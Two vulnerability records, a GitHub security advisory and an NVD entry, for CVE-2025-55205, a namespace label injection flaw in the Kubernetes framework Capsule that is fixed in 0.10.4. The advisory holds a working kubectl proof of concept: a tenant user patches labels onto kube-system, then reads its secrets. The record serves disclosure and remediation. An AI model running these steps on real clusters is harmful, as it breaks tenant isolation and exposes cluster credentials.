{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-18T21:00:36Z",
    "nvd_published_at": "2025-08-18T17:15:30Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.\n\n### Details\nThe vulnerability exists in the namespace validation webhook logic located in `pkg/webhook/namespace/validation/patch.go:60-77`. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:\n\n```go\nif label, ok := ns.Labels[ln]; ok {\n    // Only checks permissions when namespace has tenant label\n    if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {\n        response := admission.Denied(e)\n        return \u0026response\n    }\n}\n\nreturn nil  // Critical issue: allows operation if no tenant label exists\n```\n\n**Root Cause Analysis:**\n1. **Missing Default Protection**: System namespaces (kube-system, default, capsule-system) do not have the `capsule.clastix.io/tenant` label by default\n2. **Bypass Logic**: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant\n3. **Unrestricted Label Injection**: Authenticated users can inject arbitrary labels into unprotected namespaces\n\n**Attack Vector Path:**\n```\nLabel Injection (user-controlled) \u2192 Namespace Selector (system matching) \u2192 TenantResource/Quota Check (authorization bypass) \u2192 Cross-tenant Resource Access\n```\n\nThis mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:\n- **CVE-2024-39690**: `ownerReference(user-controlled) \u2192 tenant.Status.Namespaces(system state) \u2192 quota/permission check(auth policy) \u2192 namespace hijacking`\n- **This vulnerability**: `Label injection(user-controlled) \u2192 Namespace selector(system matching) \u2192 TenantResource/Quota check(auth policy) \u2192 cross-tenant resource access`\n\n### PoC\n**Prerequisites:**\n- Minikube cluster with Capsule v0.10.3 installed\n- Authenticated tenant user with basic RBAC permissions\n\n**Step 1: Environment Setup**\n```bash\n# Install Minikube and Capsule\nminikube start\nhelm repo add projectcapsule https://projectcapsule.github.io/charts\nhelm install capsule projectcapsule/capsule -n capsule-system --create-namespace\n\n# Create tenant and user\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: tenant1\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n# Create user certificate and kubeconfig (using provided script)\n./create-user-minikube.sh alice tenant1\n```\n\n**Step 2: Label Injection Attack**\n```bash\n# Switch to attacker context\nexport KUBECONFIG=alice-tenant1.kubeconfig\n\n# Inject malicious labels into system namespaces\nkubectl patch namespace kube-system --type=\u0027json\u0027 -p=\u0027[\n  {\n    \"op\": \"add\",\n    \"path\": \"/metadata/labels/malicious-label\",\n    \"value\": \"attack-value\"\n  }\n]\u0027\n\n# Verify injection success\nkubectl get namespace kube-system --show-labels\n```\n\n**Step 3: Exploitation via TenantResource**\n```bash\n# Create attacker-controlled namespace\nkubectl create namespace alice-attack\n\n# Create malicious TenantResource targeting injected labels\ncat \u003c\u003cEOF | kubectl apply -f -\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: malicious-resource\n  namespace: alice-attack\nspec:\n  resyncPeriod: 60s\n  resources:\n  - namespaceSelector:\n      matchLabels:\n        malicious-label: \"attack-value\"\nEOF\n\n# Verify cross-tenant access\nkubectl get tenantresource -n alice-attack malicious-resource -o yaml\n```\n\n**Step 4: Verification of Impact**\n```bash\n# Check if system namespace resources are now accessible\nexport KUBECONFIG=~/.kube/config\nkubectl get namespaces -l \"malicious-label=attack-value\"\n# Output shows: kube-system (and potentially other injected namespaces)\n\n# Check for potential resource replication/access\nkubectl get all -n kube-system\nkubectl get secrets -n kube-system\nkubectl get configmaps -n kube-system\n```\n\n**Automated Testing Script:**\nA complete vulnerability verification script is available that tests:\n- Label injection into multiple system namespaces\n- TenantResource exploitation\n- Cross-tenant resource access verification\n- Impact assessment and cleanup\n\n### Impact\n**Vulnerability Type:** Authorization Bypass / Privilege Escalation\n\n**Who is Impacted:**\n- **Multi-tenant Kubernetes clusters** using Capsule v0.10.3 and potentially earlier versions\n- **Organizations relying on Capsule** for tenant isolation and resource governance\n- **Cloud service providers** offering Kubernetes-as-a-Service with Capsule-based multi-tenancy\n\n**Security Impact:**\n1. **Multi-tenant Isolation Bypass**: Attackers can access resources from other tenants or system namespaces\n2. **Privilege Escalation**: Tenant users can gain access to cluster-wide resources and sensitive system components\n3. **Data Exfiltration**: Potential access to secrets, configmaps, and other sensitive data in system namespaces\n4. **Resource Quota Bypass**: Ability to consume resources outside assigned tenant boundaries\n5. **Policy Circumvention**: Bypass network policies, security policies, and other tenant-level restrictions\n\n**Real-world Exploitation Scenarios:**\n- Access to kube-system secrets containing cluster certificates and service account tokens\n- Modification or replication of critical system configurations\n- Cross-tenant data access in shared clusters\n- Potential cluster-wide compromise through system namespace access\n\n**Severity:** High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.",
  "id": "GHSA-fcpm-6mxq-m5vv",
  "modified": "2025-08-18T21:00:36Z",
  "published": "2025-08-18T21:00:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-fcpm-6mxq-m5vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/commit/e1f47feade6e1695b2204407607d07c3b3994f6e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Capsule tenant owners with \"patch namespace\" permission can hijack system namespaces label"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. A namespace label injection vulnerability in Capsule v0.10.3 and earlier allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. This vulnerability is fixed in 0.10.4."
    }
  ],
  "id": "CVE-2025-55205",
  "lastModified": "2025-08-18T20:16:28.750",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-08-18T17:15:30.117",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/projectcapsule/capsule/commit/e1f47feade6e1695b2204407607d07c3b3994f6e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-fcpm-6mxq-m5vv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}